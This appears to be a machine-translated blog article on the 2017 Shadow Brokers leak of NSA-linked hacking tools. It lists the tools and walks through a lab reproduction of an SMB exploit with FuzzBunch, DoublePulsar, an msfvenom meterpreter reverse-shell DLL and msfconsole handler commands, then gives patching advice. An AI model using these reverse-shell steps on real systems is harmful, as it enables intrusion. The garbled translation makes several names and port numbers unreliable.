The whole story and technical analysis of shadow broker divulging confidential documents

As early as 2016, shadow brokers, a hacker organization, claimed to have broken the equation group, an American hacker team that developed cyber weapons for NSA, and publicly auctioned the hacker tools that are said to be used by the US government

To prove his claim, shadow brokers posted attack code that seems to be aimed at router security software. The group said that if it gets 1 million bitcoins (the current price is about $568 million), it will make the tools public (its bitcoin address is currently only 0.12 BTC)

Cyber security experts doubt whether the group has access to its alleged hacking tools, but several experts say the code it publishes looks real. The incident affected five router manufacturers, namely three US companies Cisco, juniper, Fortinet and two Chinese companies xiwangyun Information Technology Co., Ltd. and Beijing Tianrongxin Network Security Technology Co., Ltd

On the night of April 14, 2017, Beijing time, the organization released eqgrp again in the case of repeated unsuccessful sales_ Lost_ in_ Translation file, which includes multiple windows 0days, most of which are used remotely and rated as severe, and can cover most Windows Servers

Historical Review

August 2016

Release “eqgrp-free-file.tar.xz.gpg” and “eqgrp-auction-file.tar.xz.gpg”, in which the password of the first a file is provided

9 April 2017

“Eqgrp auction file. Tar. XZ. GPG” file

14 April 2017

Release “eqgrp” again_ Lost_ in_ Translation file

event analysis

There are three directories in this file, namely “windows”, “swift” and “oddjob”, which contain a lot of shocking hacking tools (we select several important ones as follows:

1. Explodingcan is a remote exploit tool of IIS 6.0

2. Ethernaldomain is a heavyweight utilization of smb1, which can attack Windows XP, 2003, vista, 7, Windows 8, 2008, 2008 R2 with 445 ports and upgrade to system permissions

3. In addition, erraticgopher, etnalblue, etnalsyntax

Etheralchampion, educatedskill and emaldthread are all SMB vulnerability exploiters, which can attack windows machines with 445 ports

4. Esteemaudit is a remote vulnerability exploitation tool of RDP service, which can attack Windows XP and windows 2003 machines with 3389 port and smart card login

5. Fuzzbunch is a vulnerability exploitation platform similar to Metasploit

6. Oddjob is a rootkit utility that cannot be detected by antivirus software

7. Eclipsedwing is a remote vulnerability exploitation tool for Windows Server

8. Eskimorroll is a vulnerability attack of Kerberos, which can attack windows

2000/2003/2008/2008 R2

recurrence process

environment building

Note that you have to follow the relevant version of python2.6. Other versions don’t work

Download and install python2.6

Download pywin32 and install it

Add C:: python26 to the environment variable path

configuration environment

Eqgrp_ Lost_ in_ Decompress the file downloaded from translation, and find the file in the following figure

experimental environment

Attacker 1:, winserver 2008, 32bit

Attacker 2: kali2

Target:, win7 64bit

use steps

Install python, pywin32 and NSA tools in target 1 (

C: To execute in the system of shadowbroker master in Windows

Set attack IP address, callback address (attacker 1), turn off redirection, set log path, create or select a project:

Next, enter the command:


Fill in the relevant parameters in turn, and the timeout time and other default parameters can be returned directly

Because the target is win7 system, select 1: win72k8r2 in the target system information

Mode 1: FB

Confirm information, execute

After success, run use doublepulsar:

And fill in the parameters in turn, pay attention to select 2 in function, rundll

At the same time, the attack DLL is generated in msfvenom of 2 Kali

msfvenom -pwindows/x64/meterpreter/reverse_ tcp LHOST= -f dll > go.dll

Next, execute:

$ msfconsole

msf > useexploit/multi/handler

msf > set LHOST192.168.71.130

msf > set LPORT 5555

msf > set PAYLOADwindows/x64/meterpreter/reverse_ tcp

msf > exploit

At the same time, upload the generated go.dll to attacker 1 (, return to attacker 1, and fill in the attack DLL path:

Next, return all the way and execute the attack

Go back to Kali and get the shell. The attack is successful

repair plan

1. Temporary circumvention measures: close 135, 137, 139, 4453389 ports and open to the external network. It is recommended to use security group policy to prohibit port; The 3389 port limit allows only specific IP access

2. Download the patch and upgrade to Microsoft’s official website in time. Microsoft officially announced the connection:

Microsoft has issued a notice strongly recommending that users update the latest patch:

Ms17-010: critical – Microsoft Windows SMB server security update (4013389)

Ms14-068: critical – Kerberos vulnerability may allow privilege escalation (3011780)

Ms10-061: critical – a vulnerability in the print spooler service may allow remote code execution

Ms09-050: critical – vulnerability in smbv2 may allow remote code execution (975517)

Ms08-067: critical – vulnerability in server service may allow remote code execution (958644)

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